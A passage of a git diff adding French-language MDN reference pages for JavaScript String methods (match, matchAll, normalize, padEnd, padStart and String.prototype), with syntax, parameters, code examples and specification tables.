+ <li>Si on ne souhaite obtenir que la première correspondance, on pourra plutôt utiliser {{jsxref("RegExp.prototype.exec()", "RegExp.exec()")}} à la place.</li>
+ <li>Si on souhaite obtenir les groupes correspondants et que le drapeau « global » est activé, il faudra utiliser {{jsxref("RegExp.prototype.exec()", "RegExp.exec()")}} à la place.</li>
+</ul>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Utiliser_match()">Utiliser <code>match()</code></h3>
+
+<p>Dans l'exemple suivant, on utilise <code>match()</code> afin de trouver la chaîne <code>'Chapitre'</code> suivie par un ou plusieurs chiffres séparés par des points. L'expression utilisée active le drapeau <code>i</code> afin que la casse ne soit pas prise en compte.</p>
+
+<pre class="brush: js">var str = 'Pour plus d\'informations, voir le chapitre 3.4.5.1';
+var re = /(chapitre \d+(\.\d)*)/i;
+var trouvé = str.match(re);
+
+console.log(trouvé);
+
+// logs ['chapitre 3.4.5.1', 'chapitre 3.4.5.1', '.1']
+
+// 'chapitre 3.4.5.1' est la première correspondance
+// 'chapitre 3.4.5.1' est la valeur gardée en mémoire par
+// `(chapitre \d+(\.\d)*)`.
+// '.1' est la valeur gardée en mémoire par `(\.\d)`.
+</pre>
+
+<h3 id="Utiliser_les_drapeaux_g_(global)_et_i_(ignorer_la_casse)_avec_match()">Utiliser les drapeaux <code>g</code> (global) et <code>i</code> (ignorer la casse) avec <code>match()</code></h3>
+
+<p>Dans cet exemple, on illustre comment utiliser des drapeaux avec l'expression rationnelle qui est un argument de <code>match()</code>. Chaque lettre de A à E et de a à e est renvoyée, chacune dans un élément du tableau de résultat.</p>
+
+<pre class="brush: js">var str = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz';
+var regexp = /[A-E]/gi;
+var tableau_correspondances = str.match(regexp);
+
+console.log(tableau_correspondances);
+// ['A', 'B', 'C', 'D', 'E', 'a', 'b', 'c', 'd', 'e']
+</pre>
+
+<h3 id="Utiliser_un_paramètre_qui_n'est_pas_une_RegExp">Utiliser un paramètre qui n'est pas une <code>RegExp</code></h3>
+
+<p>Lorsque le paramètre passé à la fonction est une chaîne de caractères ou un nombre, il est converti de façon implicite en un objet  {{jsxref("RegExp")}} grâce à <code>new RegExp(obj)</code>. Si c'est un nombre positif avec le signe +, la méthode <code>RegExp()</code> ignorera ce signe.</p>
+
+<pre class="brush: js">var str1 = "NaN signifie : qui n'est pas un nombre.";
+var str2 = "Mon père a 65 ans."
+str1.match("nombre");   // "nombre" est une chaîne, renvoie ["nombre"]
+str1.match(NaN);        // NaN est de type number, renvoie ["NaN"]
+str2.match(65);         // Renvoie ["65"]
+str2.match(+65);        // Renvoie également ["65"]</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES3')}}</td>
+   <td>{{Spec2('ES3')}}</td>
+   <td>Définition initiale. Implémentée avec JavaScript 1.2.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.5.4.10', 'String.prototype.match')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-string.prototype.match', 'String.prototype.match')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-string.prototype.match', 'String.prototype.match')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</p>
+
+<p>{{Compat("javascript.builtins.String.match")}}</p>
+
+<h2 id="Notes_spécifiques_à_FirefoxGecko">Notes spécifiques à Firefox/Gecko</h2>
+
+<ul>
+ <li><code>flags</code> était un second argument non standard présent uniquement sur Gecko : <var>str</var>.match(<var>regexp, flags</var>) et a été retiré avec Firefox 49.</li>
+ <li>À partir de Firefox 27, cette méthode a été ajustée afin d'être conforme à ECMAScript. Lorsque <code>match()</code> est appelée sur une expression rationnelle globale, la propriété {{jsxref("RegExp.lastIndex")}} de l'objet sera redéfini à <code>0</code> ({{bug(501739)}}).</li>
+</ul>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("RegExp")}}</li>
+ <li>{{jsxref("RegExp.prototype.exec()")}}</li>
+ <li>{{jsxref("RegExp.prototype.test()")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/string/matchall/index.html b/files/fr/web/javascript/reference/objets_globaux/string/matchall/index.html
new file mode 100644
index 0000000000..adf4f5bac6
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/string/matchall/index.html
@@ -0,0 +1,122 @@
+---
+title: String.prototype.matchAll()
+slug: Web/JavaScript/Reference/Objets_globaux/String/matchAll
+tags:
+  - JavaScript
+  - Méthode
+  - Prototype
+  - Reference
+  - String
+translation_of: Web/JavaScript/Reference/Global_Objects/String/matchAll
+---
+<div>{{JSRef}}</div>
+
+<p>La méthode <strong><code>matchAll()</code></strong> renvoie un itérateur contenant l'ensemble des correspondances entre une chaîne de caractères d'une part et une expression rationnelle d'autre part (y compris les groupes capturants).</p>
+
+<div>{{EmbedInteractiveExample("pages/js/string-matchall.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuer à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox"><var>str</var>.matchAll(<var>regexp</var>)</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><code>regexp</code></dt>
+ <dd>Un objet représentant une expression rationnelle. Si cet objet n'est pas une instance de {{jsxref("RegExp")}}, il est automatiquement et implicitement converti en une telle instance à l'aide de <code>new RegExp(obj)</code>.</dd>
+</dl>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p>Un <a href="https://developer.mozilla.org/fr/docs/Web/JavaScript/Guide/iterateurs_et_generateurs">itérateur</a>.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Regexp.exec()_et_matchAll()"><code>Regexp.exec()</code> et <code>matchAll()</code></h3>
+
+<p>Avant l'apparition de <code>matchAll()</code> en JavaScript, il était possible d'utiliser {{jsxref("RegExp.exec")}} (et des expressions rationnelles utilisant le marqueur <code>/g</code>) dans une boucle afin d'obtenir l'ensemble des correspondances :</p>
+
+<pre class="brush: js">const regexp = RegExp('foo*','g');
+const str = 'table football, foosball';
+
+while ((matches = regexp.exec(str)) !== null) {
+  console.log(`${matches[0]} trouvé. Prochaine recherche à partir de ${regexp.lastIndex}.`);
+  // dans la console : "foo trouvé. Prochaine recherche à partir de 9."
+  // dans la console : "foo trouvé. Prochaine recherche à partir de 19."
+}
+</pre>
+
+<p>Avec <code>matchAll()</code>, on peut éviter la boucle <code>while</code> et le marqueur global. On récupère l'itérateur et on utilise une boucle <code><a href="/fr/docs/Web/JavaScript/Reference/Instructions/for...of">for...of</a></code>, <a href="/fr/docs/Web/JavaScript/Reference/Opérateurs/Syntaxe_décomposition">la décomposition de tableau</a> ou encore {{jsxref("Array.from()")}} :</p>
+
+<pre class="brush: js">const regexp = RegExp('foo*','g');
+const str = 'table football, foosball';
+let matches = str.matchAll(regexp);
+
+for (const match of matches) {
+  console.log(match);
+}
+// Array [ "foo" ]
+// Array [ "foo" ]
+
+// l'itérateur est épuise après l'itération via for..of
+// On rappelle matchAll afin de créer un nouvel itérateur
+matches = str.matchAll(regexp);
+
+Array.from(matches, m =&gt; m[0]);
+// Array [ "foo", "foo" ]
+</pre>
+
+<h3 id="Meilleur_accès_aux_groupes_capturants">Meilleur accès aux groupes capturants</h3>
+
+<p>Un autre avantage de <code>matchAll()</code> est un meilleur accès aux groupes capturants. De fait, les groupes capturants sont ignorés par <code><a href="/fr/docs/Web/JavaScript/Reference/Objets_globaux/String/match">match()</a></code> lorsqu'on utilise le marqueur global <code>/g</code> :</p>
+
+<pre class="brush: js">var regexp = /t(e)(st(\d?))/g;
+var str = 'test1test2';
+
+str.match(regexp);
+// Array ['test1', 'test2']</pre>
+
+<p>Avec <code>matchAll()</code>, on peut y accéder :</p>
+
+<pre class="brush: js">let array = [...str.matchAll(regexp)];
+
+array[0];
+// ['test1', 'e', 'st1', '1', index: 0, input: 'test1test2', length: 4]
+array[1];
+// ['test2', 'e', 'st2', '2', index: 5, input: 'test1test2', length: 4]
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-string.prototype.matchall', 'String.prototype.matchAll')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("javascript.builtins.String.matchAll")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("RegExp")}}</li>
+ <li>{{jsxref("RegExp.prototype.exec()")}}</li>
+ <li>{{jsxref("RegExp.prototype.test()")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/string/normalize/index.html b/files/fr/web/javascript/reference/objets_globaux/string/normalize/index.html
new file mode 100644
index 0000000000..398c9eaefe
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/string/normalize/index.html
@@ -0,0 +1,127 @@
+---
+title: String.prototype.normalize()
+slug: Web/JavaScript/Reference/Objets_globaux/String/normalize
+tags:
+  - ECMAScript 2015
+  - JavaScript
+  - Méthode
+  - Prototype
+  - Reference
+  - String
+  - Unicode
+translation_of: Web/JavaScript/Reference/Global_Objects/String/normalize
+---
+<div>{{JSRef}}</div>
+
+<p>La méthode <code><strong>normalize()</strong></code> permet de renvoyer la forme normalisée Unicode d'une chaîne de caractères (si la valeur n'est pas une chaîne de caractères, elle sera convertie).</p>
+
+<div>{{EmbedInteractiveExample("pages/js/string-normalize.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox"><var>str</var>.normalize([<var>form</var>]);</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><code>form</code></dt>
+ <dd>Paramètre optionnel. Une chaîne parmi "NFC", "NFD", "NFKC", ou "NFKD", définissant la forme de normalisation Unicode à utiliser. Si le paramètre n'est pas précisé ou vaut {{jsxref("undefined")}}, la valeur par défaut utilisée sera "<code>NFC</code>".
+ <ul>
+  <li><code>NFC</code> - Normalization Form Canonical Composition.</li>
+  <li><code>NFD</code> - Normalization Form Canonical Decomposition.</li>
+  <li><code>NFKC</code> - Normalization Form Compatibility Composition.</li>
+  <li><code>NFKD</code> - Normalization Form Compatibility Decomposition.</li>
+ </ul>
+ </dd>
+</dl>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p>Une chaîne de caractères qui est le forme Unicode normalisée de la chaîne appelante.</p>
+
+<h3 id="Exceptions">Exceptions</h3>
+
+<dl>
+ <dt>{{jsxref("RangeError")}}</dt>
+ <dd>Une exception <code>RangeError</code> est envoyée si le paramètre <code>form</code> n'est pas une des valeurs définies ci-avant.</dd>
+</dl>
+
+<h2 id="Description">Description</h2>
+
+<p>La méthode <code>normalize()</code> renvoie la forme normalisée Unicode de la chaîne de caractères. Elle n'affecte pas la valeur de la chaîne.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<pre class="brush:js;">// Chaîne initiale
+
+// U+1E9B: LATIN SMALL LETTER LONG S WITH DOT ABOVE
+// U+0323: COMBINING DOT BELOW
+var str = "\u1E9B\u0323";
+
+
+// Forme canonique composée (Canonically-composed form) (NFC)
+
+// U+1E9B: LATIN SMALL LETTER LONG S WITH DOT ABOVE
+// U+0323: COMBINING DOT BELOW
+str.normalize("NFC"); // "\u1E9B\u0323"
+str.normalize(); // la même chaîne que précédemment
+
+
+// Forme canonique décomposée (Canonically-decomposed form) (NFD)
+
+// U+017F: LATIN SMALL LETTER LONG S
+// U+0323: COMBINING DOT BELOW
+// U+0307: COMBINING DOT ABOVE
+str.normalize("NFD"); // "\u017F\u0323\u0307"
+
+
+// Forme composée compatible (NFKC)
+
+// U+1E69: LATIN SMALL LETTER S WITH DOT BELOW AND DOT ABOVE
+str.normalize("NFKC"); // "\u1E69"
+
+
+// Forme décomposée compatible (NFKD)
+
+// U+0073: LATIN SMALL LETTER S
+// U+0323: COMBINING DOT BELOW
+// U+0307: COMBINING DOT ABOVE
+str.normalize("NFKD"); // "\u0073\u0323\u0307"
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2015', '#sec-string.prototype.normalize', 'String.prototype.normalize')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-string.prototype.normalize', 'String.prototype.normalize')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</p>
+
+<p>{{Compat("javascript.builtins.String.normalize")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="https://www.unicode.org/reports/tr15/">Formes de normalisation Unicode, Annexe n°15 du standard Unicode</a></li>
+ <li><a href="https://en.wikipedia.org/wiki/Unicode_equivalence">Équivalence Unicode</a></li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/string/padend/index.html b/files/fr/web/javascript/reference/objets_globaux/string/padend/index.html
new file mode 100644
index 0000000000..4bb1897fe1
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/string/padend/index.html
@@ -0,0 +1,76 @@
+---
+title: String.prototype.padEnd()
+slug: Web/JavaScript/Reference/Objets_globaux/String/padEnd
+tags:
+  - JavaScript
+  - Méthode
+  - Reference
+  - String
+translation_of: Web/JavaScript/Reference/Global_Objects/String/padEnd
+---
+<div>{{JSRef}}</div>
+
+<p>La méthode <strong><code>padEnd()</code></strong> permet de compléter la chaîne courante avec une chaîne de caractères donnée afin d'obtenir une chaîne de longueur fixée. Pour atteindre cette longueur, la chaîne complémentaire peut être répétée. La chaîne courante est complétée depuis la fin.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/string-padend.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox"><var>str</var>.padEnd(<var>longueurCible</var> [, <var>chaîneComplémentaire</var>])</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><code>longueurCible</code></dt>
+ <dd>La longueur de la chaîne qu'on souhaite obtenir. Si la longueur indiquée est inférieure à celle de la chaîne courante, cette dernière est renvoyée telle quelle.</dd>
+ <dt><code>chaîneComplémentaire</code> {{optional_inline}}</dt>
+ <dd>La chaîne de caractères avec laquelle on veut compléter la chaîne courante. Si cette chaîne est trop longue, on prendra uniquement le début (la partie la plus à gauche pour les langues écrites de gauche à droite et la partie la plus à droite pour les langues écrites de droite à gauche). La valeur par défaut de ce paramètre est l'espace " " (U+0020). Si cette chaîne est trop courte, elle sera répétée.</dd>
+</dl>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p>Une chaîne de caractères ({{jsxref("String")}}) dont la longueur est celle indiquée, complétée avec la chaîne fournie.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<pre class="brush: js">'abc'.padEnd(10);         // "abc       "
+'abc'.padEnd(10, "toto"); // "abctototot"
+'abc'.padEnd(6,"123456"); // "abc123"
+'abc'.padEnd(1);          // "abc"
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-string.prototype.padend', 'String.prototype.padEnd')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES8', '#sec-string.prototype.padend', 'String.prototype.padEnd')}}</td>
+   <td>{{Spec2('ES8')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</p>
+
+<p>{{Compat("javascript.builtins.String.padEnd")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("String.prototype.padStart()")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/string/padstart/index.html b/files/fr/web/javascript/reference/objets_globaux/string/padstart/index.html
new file mode 100644
index 0000000000..d5c3500027
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/string/padstart/index.html
@@ -0,0 +1,78 @@
+---
+title: String.prototype.padStart()
+slug: Web/JavaScript/Reference/Objets_globaux/String/padStart
+tags:
+  - JavaScript
+  - Méthode
+  - Reference
+  - String
+translation_of: Web/JavaScript/Reference/Global_Objects/String/padStart
+---
+<div>{{JSRef}}</div>
+
+<p>La méthode <strong><code>padStart()</code></strong> permet de compléter la chaîne courante avec une chaîne de caractères donnée afin d'obtenir une chaîne de longueur fixée. Pour atteindre cette longueur, la chaîne complémentaire peut être répétée. La chaîne courante est complétée depuis le début.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/string-padstart.html")}}</div>
+
+<div class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</div>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox"><var>str</var>.padStart(<var>longueurCible</var> [, <var>chaîneComplémentaire</var>])</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><code>longueurCible</code></dt>
+ <dd>La longueur de la chaîne qu'on souhaite obtenir. Si la longueur indiquée est inférieure à celle de la chaîne courante, cette dernière est renvoyée telle quelle.</dd>
+ <dt><code>chaîneComplémentaire</code> {{optional_inline}}</dt>
+ <dd>La chaîne de caractères avec laquelle on veut compléter la chaîne courante. Si cette chaîne est trop longue, on prendra uniquement le début (la partie la plus à gauche quand la langue s'écrit de gauche à droite). La valeur par défaut de ce paramètre est l'espace " " (U+0020). Si cette chaîne est trop courte, elle sera répétée.</dd>
+</dl>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p>Une chaîne de caractères ({{jsxref("String")}}) dont la longueur est celle indiquée, complétée avec la chaîne fournie au début de la chaîne courante.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<pre class="brush: js">'abc'.padStart(10);         // "        abc"
+'abc'.padStart(10, "toto"); // "totototabc"
+'abc'.padStart(6,"123465"); // "123abc"
+'abc'.padStart(8, "0");     // "00000abc"
+'abc'.padStart(1);          // "abc"</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-string.prototype.padstart', 'String.prototype.padStart')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES8', '#sec-string.prototype.padstart', 'String.prototype.padStart')}}</td>
+   <td>{{Spec2('ES8')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("javascript.builtins.String.padStart")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("String.prototype.padEnd()")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/string/prototype/index.html b/files/fr/web/javascript/reference/objets_globaux/string/prototype/index.html
new file mode 100644
index 0000000000..09cfb00008
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/string/prototype/index.html
@@ -0,0 +1,189 @@
+---
+title: String.prototype
+slug: Web/JavaScript/Reference/Objets_globaux/String/prototype
+tags:
+  - JavaScript
+  - Propriété
+  - Prototype
+  - Reference
+  - String
+translation_of: Web/JavaScript/Reference/Global_Objects/String
+---
+<div>{{JSRef}}</div>
+
+<p>La propriété <strong><code>String.prototype</code></strong> représente l'objet prototype de {{jsxref("String")}}.</p>
+
+<div>{{js_property_attributes(0,0,0)}}</div>
+
+<h2 id="Description">Description</h2>
+
+<p>Toutes les instances de {{jsxref("String")}} héritent de <code>String.prototype</code>. Les modifications de l'objet prototype <code>String</code> sont répercutées sur toutes les instances de <code>String</code>.</p>
+
+<h2 id="Propriétés">Propriétés</h2>
+
+<dl>
+ <dt><code>String.prototype.constructor</code></dt>
+ <dd>Définit la fonction créant le prototype d'un objet.</dd>
+ <dt>{{jsxref("String.prototype.length")}}</dt>
+ <dd>Reflète la longueur de la chaîne</dd>
+ <dt><code><em>N</em></code></dt>
+ <dd>Utilisée pour accéder au caractère en <em>N</em><sup>ème</sup> position où <em>N</em> est un entier entre 0 et la valeur de {{jsxref("String.length")}} moins un. Ces propriétés sont en lecture seule.</dd>
+</dl>
+
+<h2 id="Méthodes">Méthodes</h2>
+
+<h3 id="Méthodes_non_liées_à_HTML">Méthodes non liées à HTML</h3>
+
+<dl>
+ <dt>{{jsxref("String.prototype.charAt()")}}</dt>
+ <dd>Renvoie le caractère (ou plus précisement, le point de code UTF-16) à la position spécifiée.</dd>
+ <dt>{{jsxref("String.prototype.charCodeAt()")}}</dt>
+ <dd>Renvoie un nombre indiquant la valeur du point de code UTF-16 du caractère à la position spécifiée.</dd>
+ <dt>{{jsxref("String.prototype.codePointAt()")}}</dt>
+ <dd>Renvoie un entier positif qui est la valeur du codet UTF-16 à la position donnée.</dd>
+ <dt>{{jsxref("String.prototype.concat()")}}</dt>
+ <dd>Combine le texte de deux chaînes et renvoie une nouvelle chaîne.</dd>
+ <dt>{{jsxref("String.prototype.includes()")}}</dt>
+ <dd>Défini si une chaîne de caractères est contenue dans une autre chaîne de caractères.</dd>
+ <dt>{{jsxref("String.prototype.endsWith()")}}</dt>
+ <dd>Défini si une chaîne de caractère se termine par une chaîne de caractères spécifique.</dd>
+ <dt>{{jsxref("String.prototype.indexOf()")}}</dt>
+ <dd>Renvoie la position, au sein de l'objet <code>String</code> appelant, de la première occurrence de la valeur spécifiée, ou -1 si celle-ci n'est pas trouvée.</dd>
+ <dt>{{jsxref("String.prototype.lastIndexOf()")}}</dt>
+ <dd>Renvoie la position, au sein de l'objet String appelant, de la dernière occurrence de la valeur spécifiée, ou -1 si celle-ci n'est pas trouvée.</dd>
+ <dt>{{jsxref("String.prototype.localeCompare()")}}</dt>
+ <dd>Renvoie un nombre indiquant si une chaîne de référence vient avant, après ou est en position identique à la chaîne donnée selon un ordre de tri.</dd>
+ <dt>{{jsxref("String.prototype.match()")}}</dt>
+ <dd>Utilisée pour faire correspondre une expression rationnelle avec une chaîne.</dd>
+ <dt>{{jsxref("String.prototype.matchAll()")}}</dt>
+ <dd>Renvoie un itérateur listant l'ensemble des correspondances d'une expression rationnelle avec la chaîne.</dd>
+ <dt>{{jsxref("String.prototype.normalize()")}}</dt>
+ <dd>Retourne la forme Unicode normalisée de la chaîne de caractères appelée.</dd>
+ <dt>{{jsxref("String.prototype.padEnd()")}}</dt>
+ <dd>Complète la chaîne courante avec une autre chaîne de caractères, éventuellement répétée, afin d'obtenir une nouvelle chaîne de la longueur indiquée. La chaîne complémentaire est ajoutée à la fin.</dd>
+ <dt>{{jsxref("String.prototype.padStart()")}}</dt>
+ <dd>Complète la chaîne courante avec une autre chaîne de caractères, éventuellement répétée, afin d'obtenir une nouvelle chaîne de la longueur indiquée. La chaîne complémentaire est ajoutée au début.</dd>
+</dl>
+
+<dl>
+ <dt>{{jsxref("String.prototype.quote()")}} {{obsolete_inline}}</dt>
+ <dd>Entoure la chaîne de guillemets doubles anglais ("<code>"</code>").</dd>
+ <dt>{{jsxref("String.prototype.repeat()")}}</dt>
+ <dd>Renvoie une chaîne dont le contenu est la chaîne courante répétée un certain nombre de fois.</dd>
+ <dt>{{jsxref("String.prototype.replace()")}}</dt>
+ <dd>Utilisée pour rechercher une correspondance entre une expression rationnelle et une chaîne, et pour remplacer la sous-chaîne correspondante par une nouvelle chaîne.</dd>
+ <dt>{{jsxref("String.prototype.search()")}}</dt>
+ <dd>Exécute la recherche d'une correspondance entre une expression régulière et une chaîne spécifiée.</dd>
+ <dt>{{jsxref("String.prototype.slice()")}}</dt>
+ <dd>Extrait une section d'une chaîne et renvoie une nouvelle chaîne.</dd>
+ <dt>{{jsxref("String.prototype.split()")}}</dt>
+ <dd>Sépare un objet String en un tableau de chaînes en séparant la chaîne en plusieurs sous-chaînes.</dd>
+ <dt>{{jsxref("String.prototype.startsWith()")}}</dt>
+ <dd>Détermine si une chaîne commence avec les caractères d'une autre chaîne.</dd>
+ <dt>{{jsxref("String.prototype.substr()")}} {{deprecated_inline}}</dt>
+ <dd>Renvoie les caractères d'une chaîne à partir de la position spécifiée et pour la longueur spécifiée.</dd>
+ <dt>{{jsxref("String.prototype.substring()")}}</dt>
+ <dd>Renvoie les caractères d'une chaîne entre deux positions dans celle-ci.</dd>
+ <dt>{{jsxref("String.prototype.toLocaleLowerCase()")}}</dt>
+ <dd>Les caractères de la chaîne seront convertis en minuscules selon la locale courante. Pour la plupart des langues, le résultat est identique à {{jsxref("String.prototype.toLowerCase()", "toLowerCase()")}}.</dd>
+ <dt>{{jsxref("String.prototype.toLocaleUpperCase()")}}</dt>
+ <dd>Les caractères de la chaîne seront convertis en majuscules selon la locale courante. Pour la plupart des langues, le résultat est identique à {{jsxref("String.toUpperCase()", "toUpperCase()")}}.</dd>
+ <dt>{{jsxref("String.prototype.toLowerCase()")}}</dt>
+ <dd>Renvoie la valeur de la chaîne appelante convertie en minuscules.</dd>
+ <dt>{{jsxref("String.prototype.toSource()")}} {{ Non-standard_inline() }}</dt>
+ <dd>Renvoie une représentation littérale de l'objet; celle-ci peut être utilisée pour créer un nouvel objet. Remplace la méthode {{jsxref("Object.prototype.toSource()")}}.</dd>
+ <dt>{{jsxref("String.prototype.toString()")}}</dt>
+ <dd>Renvoie une chaîne représentant l'objet spécifié. Remplace la méthode {{jsxref("Object.prototype.toString()")}}.</dd>
+ <dt>{{jsxref("String.prototype.toUpperCase()")}}</dt>
+ <dd>Renvoie la valeur de la chaîne appelante convertie en majuscules.</dd>
+ <dt>{{jsxref("String.prototype.trim()")}}</dt>
+ <dd>Retire les blancs en début et en fin de chaîne. Cette méthode a été définie avec ECMAScript 5.</dd>
+ <dt>{{jsxref("String.prototype.trimStart()")}}<br>
+ {{jsxref("String.prototype.trimLeft()")}}</dt>
+ <dd>Retire les blancs situés au début de la chaîne.</dd>
+ <dt>{{jsxref("String.prototype.trimEnd()")}}<br>
+ {{jsxref("String.prototype.trimRight()")}}</dt>
